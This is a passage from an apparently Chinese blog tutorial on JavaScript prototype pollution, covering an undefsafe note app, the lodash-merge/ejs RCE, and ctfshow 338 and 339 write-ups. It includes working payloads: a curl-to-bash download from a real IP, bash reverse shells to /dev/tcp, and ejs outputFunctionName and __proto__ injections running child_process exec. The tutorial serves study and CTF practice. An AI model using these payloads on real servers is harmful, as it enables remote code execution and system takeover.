exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

可以看到在status路由下面有一个exec命令执行函数那我们可以通过控制commands。去执行我们想要执行的命令

继续分析其他路由,找传参点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

这里接受三个参数,id,author,raw=>enote

然后执行 notes.edit_note(id, author, enote);

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

可以看到这些调用了undefsafe,而且后两个参数都是可控的,那我们这里就可以通过undefsafe方法进行原型链污染

而且这里最终修改的是note_list中的值

1
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {

但是可以看到我们这里执行的commands

不过commands和note_list的原型是一样的都是Object.prototype

所以我们污染note_list其实就是污染了Object.prototype中的值

当commands在自身对象中找不到我们要执行的命令就会沿着原型链向上查找。而且这里是一个遍历,遍历会沿着原型链向上查找,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。

payload:

1
id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a;

shell.txt:

1
2
bash -i >& /dev/tcp/174.1.62.169/9999 0>&1

这样我们在note_list的__proto__objetc中添加了一个a属性的值,内容为curl http://1.15.75.117/shell.txt|bash,然后反弹shell

1
2
3
4
5
6
7
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});

这里再遍历的时候会遍历到object中的命令从而进行命令执行

image-20230710121647348

Lodash配合ejs模板引擎实现 RCE CVE-2022-29078

nodejs的ejs模板引擎存在一个利用原型链污染的进行rce的一个漏洞

但是我们想要实现rce就要先进行原型链污染,这里使用lodash,merge方法中的原型链污染漏洞

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.ejs
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

这里运行程序后就会弹出计算器

image-20230710124022036

可以看到运行之后就会弹出计算器,说明我们的命令执行了

分析源码:

1
lodash.merge({}, JSON.parse(malicious_payload));

这里就是我们命令执行的核心

image-20230710124443395

我们从res.render开始分析

跟进render方法

image-20230710151600520

可以看到在__proto__中污染了一个 outputFunctionName属性值为

1
_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2

那么这里就引发出一个问题:

我们为什么要在原型链中污染一个outputFunctionName属性

继续往下面分析:

1
lodash.merge({}, JSON.parse(malicious_payload));

那么这里就是实现了污染了一个outputFunctionName属性

1
2
3
res.render("index.ejs", {
message: 'sp4c1ous'
});

从这里继续分析:

跟进这个render方法:

  • node_modules/express/lib/response.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    res.render = function render(view, options, callback) {
    var app = this.req.app;
    var done = callback;
    var opts = options || {};
    var req = this.req;
    var self = this;

    // support callback function as second arg
    if (typeof options === 'function') {
    done = options;
    opts = {};
    }

    // merge res.locals
    opts._locals = self.locals;

    // default callback to respond
    done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
    };

    // render
    app.render(view, opts, done);
    };

​ 1.var app = this.req.app; 用于获取当前请求的 Express 应用程序实例。
2. var done = callback;callback 赋值给变量 done,用于处理渲染完成后的回调函数。
3. var opts = options || {};options 赋值给变量 opts,如果 options 未定义,则使用空对象。
4. var req = this.req; 获取当前请求的 req 对象。
5. var self = this; 将当前的 res 对象赋值给变量 self,用于在回调函数中引用。
6. 检查第二个参数 options 的类型。如果是函数类型,那么将其作为回调函数,done 将被重置为该函数,同时将 opts 重置为空对象。
7. opts._locals = self.locals; 合并当前 res 对象的 locals 属性到 opts 对象中。
8. 默认的回调函数 done 用于处理渲染完成后的操作。如果发生错误,将通过 req.next(err) 处理错误,否则将使用 self.send(str) 将渲染结果发送给客户端。
9. 最后,通过调用 app.render(view, opts, done) 来执行实际的渲染操作,使用应用程序实例的 render 方法来渲染视图模板。

这段代码为 Express 应用程序的响应对象 res 添加了 render 方法,以便在路由处理程序中方便地渲染视图模板并发送给客户端

跟进app.render方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
app.render = function render(name, options, callback) {
var cache = this.cache;
var done = callback;
var engines = this.engines;
var opts = options;
var renderOptions = {};
var view;

// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}

// merge app.locals
merge(renderOptions, this.locals);

// merge options._locals
if (opts._locals) {
merge(renderOptions, opts._locals);
}

// merge options
merge(renderOptions, opts);

// set .cache unless explicitly provided
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}

// primed cache
if (renderOptions.cache) {
view = cache[name];
}

// view
if (!view) {
var View = this.get('view');

view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});

if (!view.path) {
var dirs = Array.isArray(view.root) && view.root.length > 1
? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
: 'directory "' + view.root + '"'
var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
err.view = view;
return done(err);
}

// prime the cache
if (renderOptions.cache) {
cache[name] = view;
}
}

// render
tryRender(view, renderOptions, done);
};

image-20230710154103094

进入app.render,发现最终会进入到tryRender:

继续跟进:

  • node_modules/express/lib/application.js

image-20230710154244173

该函数接受三个参数:

  • view:表示要渲染的视图对象。
  • options:可选的选项参数,用于向视图传递数据。
  • callback:回调函数,用于处理渲染结果或错误。

函数的实现如下:

  1. try 代码块中,调用 view.render(options, callback) 来尝试渲染视图。这会将选项参数和回调函数传递给视图对象进行渲染。
  2. 如果渲染过程中没有抛出错误,执行正常的渲染操作,并将结果通过回调函数传递出去。
  3. 如果在 try 代码块中抛出了错误(比如视图渲染函数内部抛出异常),则 catch 代码块会捕获到该错误。
  4. catch 代码块中,调用 callback(err),将捕获到的错误作为参数传递给回调函数进行处理。

这里继续跟进view.render方法:

  • node_modules/express/lib/view.js

    image-20230710155808784

​ 到这里调用了engine,从这里进入到了模板引擎ejs.js中

这里继续跟进ejs.js的renderFile方法

image-20230710160156305

我们可以在最好发现又调用了tryHandleCache方法

image-20230710160230167

继续跟进:

image-20230710160310520

进入到 handleCache 方法,跟进 handleCache:

  • node_modules/ejs/ejs.js

image-20230710160345175

我们在hadleCache中找到了渲染模板的compile方法

跟进

image-20230710160744167

在这里我们找到了outputFunctionName

而且在这里我们可以看到又大量拼接

1
2
3
4
5
6
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

有代码我们可以看到这里opts.outputFunctionName被拼接到prepended中

1
2
3
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;

而拼接完的prepended最好被传入到this.source中

并被带入函数执行,所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了compile

ejs 模板引擎 RCE 常用的 POC:

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

7、例题

ctfshow338

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

可以看到当secret.ctfshow===’36dboy’时会输出flag

那么这里就是很明显的原型链污染

1
utils.copy(user,req.body);

然后copy是在common.js中定义的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15


module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

看到这个代码就很熟悉了,这就是上面我们分析的merge函数进行原型链污染

这个copy函数和merge的功能是相同的

直接把上面我们分析的paylaod改改直接就可以打:

1
{"a": 1, "__proto__": {"ctfshow":" 36dboy"}}

image-20230707205610256

直接拿上面的payload改改参数就行

或:

1
{"__proto__":{"ctfshow":"36dboy"}}

image-20230707205621032

具体怎么实现的,就不再分析了,本质和上面我们分析的merge函数一个道理。

ctfshow339

和上面几乎差不多

但是获取flag的条件变了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

而且多了一个api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

由login.js我们可以看到

1
secert.ctfshow===flag

但是这明显时不可能的,那我们就要换一个思路了

看api.js

1
res.render('api', { query: Function(query)(query)});

res.render 是一个常见的函数调用,用于渲染视图并将其发送给客户端。'api' 是要渲染的视图模板的名称,而 { query: Function(query)(query) } 是要传递给视图模板的数据对象。Function(query)创建一个新的函数,并使用传递的字符串 query 作为函数体。然后,该新函数立即被调用,传递了 query 作为参数。函数的返回值将作为 { query: ... } 数据对象中 query 属性的值。

这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。那我们去覆盖query进行命令执行,而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。

payload:

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}
1
2
3
4
5
global.process 是 Node.js 中的全局对象 process。
mainModule 是 process 对象的一个属性,它表示主模块,即应用程序的入口文件。
constructor 是主模块的构造函数。
_load('child_process') 是调用主模块构造函数的 _load 方法,并传递 'child_process' 作为参数。child_process 是 Node.js 内置模块,用于创建和管理子进程。
.exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\') 是调用 child_process 模块的 exec
  • 标题: javascript原型链污染
  • 作者: GTL-JU
  • 创建于: 2023-07-10 16:18:31
  • 更新于: 2023-07-11 15:14:26
  • 链接: https://gtl-ju.github.io/2023/07/10/从Javascript原型链污染到python原型链污染1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
此页目录
javascript原型链污染